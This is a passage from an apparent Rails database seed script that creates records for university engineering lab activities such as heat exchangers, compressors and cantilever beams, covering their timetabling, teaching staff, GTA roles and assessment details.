next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a177.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a178 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: true, user_id: 4)\n at178 = ActivityTimetable.where(activity_id: a178.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a178.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a178.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a178.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a178.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a178.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a179 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"428\").first_or_create!(name: \"Viscometry\",\n name_abrv: \"VISC\", archived: false, in_drive: true, user_id: 2)\n at179 = ActivityTimetable.where(activity_id: a179.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Could be in analytics\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a179.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a179.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a179.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a179.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a179.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a180 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"600\").first_or_create!(name: \"Weirs Big and Small\",\n name_abrv: \"WEIRS\", archived: false, in_drive: true, user_id: 2)\n at180 = ActivityTimetable.where(activity_id: a180.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 150, takedown_time: 150, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a180.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a180.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a180.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a180.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a180.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a181 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 2)\n at181 = ActivityTimetable.where(activity_id: a181.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a181.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3s5gczj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a181.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a181.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a181.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a181.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a182 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC209\").first.id, code: \"501\").first_or_create!(name: \"Make and Break\",\n name_abrv: \"MAKEBREAK\", archived: false, in_drive: false, user_id: 2)\n at182 = ActivityTimetable.where(activity_id: a182.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a182.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a182.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a182.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a182.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a182.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a183 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: true, user_id: 1)\n at183 = ActivityTimetable.where(activity_id: a183.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a183.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a183.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a183.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a183.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a183.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a184 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 5)\n at184 = ActivityTimetable.where(activity_id: a184.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a184.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a184.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a184.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a184.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a184.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a185 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 1)\n at185 = ActivityTimetable.where(activity_id: a185.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a185.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a185.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a185.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a185.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a185.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a186 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"503\").first_or_create!(name: \"2nd law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: true, user_id: 1)\n at186 = ActivityTimetable.where(activity_id: a186.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a186.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a186.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a186.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a186.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a186.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a187 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6448\").first.id, code: \"504\").first_or_create!(name: \"Acoustics\",\n name_abrv: \"ACOUSTICS\", archived: true, in_drive: true, user_id: 2)\n at187 = ActivityTimetable.where(activity_id: a187.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a187.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a187.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a187.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a187.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a187.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a188 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"505\").first_or_create!(name: \"Boiling and Condensing\",\n name_abrv: \"BOILING\", archived: false, in_drive: true, user_id: 2)\n at188 = ActivityTimetable.where(activity_id: a188.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a188.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jbcxj2k\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a188.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration, training provided, no marking. Demonstrate labs on both boiling and condesing. Both are complex but the lab is mainly about observing the process taking place.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a188.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a188.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a188.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a190 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTBEAM\", archived: false, in_drive: true, user_id: 2)\n at190 = ActivityTimetable.where(activity_id: a190.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a190.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a190.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a190.id).first_or_create!(assess_weight: nil, notes: \"No assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a190.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a190.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a191 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 3)\n at191 = ActivityTimetable.where(activity_id: a191.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a191.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a191.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a191.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a191.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a191.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a192 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 5)\n at192 = ActivityTimetable.where(activity_id: a192.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a192.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a192.id).first_or_create!(criteria: \"GTAs should have an understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\n\n 2018-19: GTAs selected by dpt email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a192.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a192.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a192.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a193 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 4)\n at193 = ActivityTimetable.where(activity_id: a193.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a193.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a193.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a193.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a193.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a193.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a194 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode5\").first_or_create!(name: \"Compressors 1st Law\",\n name_abrv: \"COMP1STLAW\", archived: false, in_drive: true, user_id: 1)\n at194 = ActivityTimetable.where(activity_id: a194.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a194.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a194.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Determine the polytropic constant. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a194.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a194.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a194.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a195 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 4)\n at195 = ActivityTimetable.where(activity_id: a195.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a195.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a195.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a195.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a195.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a195.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a196 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 2)\n at196 = ActivityTimetable.where(activity_id: a196.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a196.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a196.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Determine the isentropic efficiency. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a196.id).first_or_create!(assess_weight: 5.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a196.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a196.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a197 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 5)\n at197 = ActivityTimetable.where(activity_id: a197.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a197.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a197.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a197.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a197.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a197.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a198 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: true, in_drive: true, user_id: 4)\n at198 = ActivityTimetable.where(activity_id: a198.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a198.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a198.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a198.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a198.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a198.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a199 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: false, in_drive: false, user_id: 3)\n at199 = ActivityTimetable.where(activity_id: a199.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, 